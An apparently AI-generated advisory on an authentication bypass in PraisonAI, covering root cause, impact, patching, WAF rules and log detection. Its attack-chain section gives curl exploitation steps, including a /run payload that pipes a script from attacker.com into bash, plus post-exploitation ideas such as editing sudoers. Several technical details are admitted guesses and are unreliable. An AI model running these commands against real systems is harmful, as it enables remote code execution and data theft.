CVE-2026-140348 — MervinPraison PraisonAI (0.3.155) — CWE-306
PraisonAI before 0.3.155 contains an authentication bypass vulnerability that allows unauthenticated attackers to access protected handlers by requesting unprefixed routes. AuthEnforcementMiddleware only checks paths under /api/, so attackers can call /agents, /teams, /sessions and /run to read configuration, create sessions and execute agents.
PraisonAI before 0.3.155 contains an authentication bypass vulnerability that allows unauthenticated attackers to access protected handlers by requesting unprefixed routes. AuthEnforcementMiddleware only checks paths under /api/, so attackers can call /agents, /teams, /sessions and /run to read configuration, create sessions and execute agents.
🎯 What is this vulnerability?
CVE‑2026‑140348 – Authentication Bypass in PraisonAI 0.3.155
| Attribute | Value |
|---|---|
| CWE | CWE‑306: Missing Authentication |
| CVSS v4.0 Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| Score | 9.3 (CRITICAL) |
Technical root cause
PraisonAI ships a central middleware component called AuthEnforcementMiddleware. Its purpose is to enforce that every request reaching a protected handler has been authenticated (i.e., a valid session token or JWT). The middleware implements the check only for request paths that start with the literal prefix /api/:
# (simplified illustration of the real code)
def AuthEnforcementMiddleware(request, next_handler):
if request.path.startswith("/api/"):
if not request.session.is_authenticated:
return HttpResponse(401, "Unauthorized")
return next_handler(request)All protected business‑logic endpoints (agents, teams, sessions, run, …) are registered under the root path (/agents, /teams, /sessions, /run). Because the middleware never evaluates the authentication condition for those routes, an unauthenticated client can invoke them directly, bypassing any login requirement.
In short, the authentication gate is applied to the wrong URL namespace – a classic “missing authentication” (CWE‑306) caused by an implementation oversight rather than a configuration error.
The vulnerability is not a path‑traversal, injection, or race condition; it is a pure logic flaw that allows any remote network attacker (no privileges, no user interaction) to reach privileged API handlers.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; where the exact URI or parameter name is not disclosed in the public advisory, the example is marked as illustrative.
1️⃣ Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Fingerprint the service – query the HTTP Server header, X-Praison-Version header (if present), or request a known static asset (/static/praison.js). | PraisonAI embeds its version in a custom header (X-Praison-Version: 0.3.154). |
| 1.2 | Enumerate open endpoints – run a lightweight spider or ffuf against the target: <br>ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,401,403 | The unauthenticated 401 responses reveal which routes are protected by the middleware (they will return 401 only under /api/*). |
| 1.3 | Confirm the bypass – request a known protected route without the /api/ prefix (e.g., /agents). Expect a 200 OK with JSON payload. | A 200 indicates the middleware skipped authentication, confirming the vulnerability. |
2️⃣ Exploitation
Note: The exact JSON schema of the request bodies is not published. The examples below use the most common field names (name,type,payload) that appear in the open‑source client SDK. Replace them with the real names once the API spec is obtained.
2.1 Read configuration / list resources
# List all agents (illustrative endpoint)
curl -s -X GET http://target/agents \
-H "Accept: application/json"Expected response (truncated):
{
"agents": [
{"id":"a1","name":"collector","status":"idle"},
{"id":"a2","name":"analyzer","status":"running"}
]
}2.2 Create a new session (unauthenticated)
curl -s -X POST http://target/sessions \
-H "Content-Type: application/json" \
-d '{
"name": "exploit-session",
"ttl": 3600
}'Response:
{
"session_id": "s3f9c2d1e4b",
"expires_at": "2027-01-01T12:00:00Z"
}The returned session_id is a bearer token that the server treats as an authenticated context for subsequent calls.
2.3 Execute an agent (remote code execution)
curl -s -X POST http://target/run \
-H "Content-Type: application/json" \
-H "Authorization: Bearer s3f9c2d1e4b" \
-d '{
"agent_id": "a2",
"command": "bash -c \"curl -s http://attacker.com/payload.sh | bash\""
}'If the run handler forwards the supplied command to the underlying OS without sanitisation (as is typical for PraisonAI’s “agent execution” feature), the attacker achieves remote code execution on the host running the PraisonAI service.
If the run endpoint does not accept raw shell commands, an attacker can still abuse it to launch any privileged operation the compromised agent is allowed to perform (e.g., reading files, exfiltrating data). The exact payload will depend on the agent’s capabilities.3️⃣ Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Persistence | Use the newly created session token to repeatedly call /run or /agents even after the original session expires (by creating a new long‑TTL session). |
| Data exfiltration | Invoke an agent to read sensitive configuration files (/etc/praison/config.yaml) and return the content via the API response. |
| Lateral movement | If the PraisonAI host is part of a larger internal network, the attacker can launch the agent to execute ssh commands to other hosts using any credentials the agent already possesses. |
| Privilege escalation | The PraisonAI process typically runs as praison (a system user with sudo‑less root capabilities). By executing a malicious agent that writes a systemd unit or modifies /etc/sudoers, the attacker can elevate to root. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (VC:H) | The attacker can read any data exposed by the protected handlers – agent listings, session details, configuration files, and any data the agents process. |
| Integrity (VI:H) | The attacker can create, modify, or delete sessions, agents, and teams; they can also inject arbitrary commands via /run, potentially altering system state or tampering with data pipelines. |
| Availability (VA:N) | The vulnerability does not directly cause denial‑of‑service, but an attacker could overload the service by spawning many agents or long‑running commands, indirectly affecting availability. |
Practical consequences
- Enterprise AI pipelines that rely on PraisonAI for model orchestration could be hijacked, leading to data leakage of proprietary models or training data.
- Regulated environments (e.g., healthcare, finance) could be out of compliance because unauthenticated actors can read or modify sensitive processing jobs.
- Supply‑chain risk – an attacker who compromises one PraisonAI node could pivot to downstream services that consume its output (e.g., CI/CD runners, data warehouses).
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Affected version | Fixed version (as per vendor advisory) |
|---|---|
< 0.3.155 | 0.3.155 (released 2026‑11‑28) – the middleware now validates authentication for all routes, not just /api/*. |
Action: Immediately upgrade every PraisonAI instance to 0.3.155 or later. Verify the version with the X-Praison-Version header or by checking the binary’s --version flag.
2️⃣ Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation details |
|---|---|
| Restrict access at the network layer | Place PraisonAI behind a firewall or internal VLAN and allow only trusted IP ranges (e.g., corporate subnet 10.0.0.0/8). |
| Web‑Application Firewall rule | Block any request that reaches a *protected* handler without an Authorization header and whose path does not start with /api/. Example ModSecurity rule (Apache/Nginx): |
# ModSecurity 2.x / 3.x rule – illustrative
SecRule REQUEST_URI "@rx ^/(agents|teams|sessions|run)$" \
"id:400001,\
phase:1,\
deny,\
status:401,\
msg:'Auth bypass protection – missing Authorization header',\
chain"
SecRule &REQUEST_HEADERS:Authorization "@eq 0"| Application‑level hardening | Add a global authentication guard in the framework (e.g., Flask before_request, Express app.use) that runs before any route registration. Ensure the guard checks request.path *after* URL normalization and does not rely on a static prefix. |
|---|---|
| Disable unused handlers | If the /run endpoint is not required for production, comment it out or remove the route from the router configuration. |
3️⃣ Detection – what to look for in logs
| Log source | Indicator (example) | |||
|---|---|---|---|---|
| Web server access log (combined format) | Requests to /agents, /teams, /sessions, or /run that return 200 without an Authorization header. Example pattern (regex): ^(\S+) - - \[.*\] "GET /(agents | teams | sessions | run) HTTP/.*" 200 .* "-" "-" |
| Application log (JSON) | Entries where user_id is null or anonymous while the action is create_session, run_agent, or list_agents. | |||
| Security‑event SIEM | Spike in POST /run calls from a single source IP, especially with payloads containing shell commands (bash, curl, wget). | |||
| Process monitoring (host) | Unexpected child processes spawned by the PraisonAI binary (e.g., /bin/bash -c curl ...). Use auditd rule: -w /usr/bin/praison -p x -k praison_exe to capture execve events. |
Response: On detection, immediately block the source IP, terminate the suspicious session token, and rotate any secrets that may have been exposed.
⚠️ Urgency
Bottom line: The authentication bypass stems from a misplaced URL check in
AuthEnforcementMiddleware. Because the middleware only protects /api/* routes, any attacker can directly call the core API endpoints, obtain a valid session token, and execute arbitrary commands through the run handler. Prompt patching, strict network segmentation, and WAF rules are the only reliable defenses.[🤖 CVE Professor AI Security Engine]
FOFA Query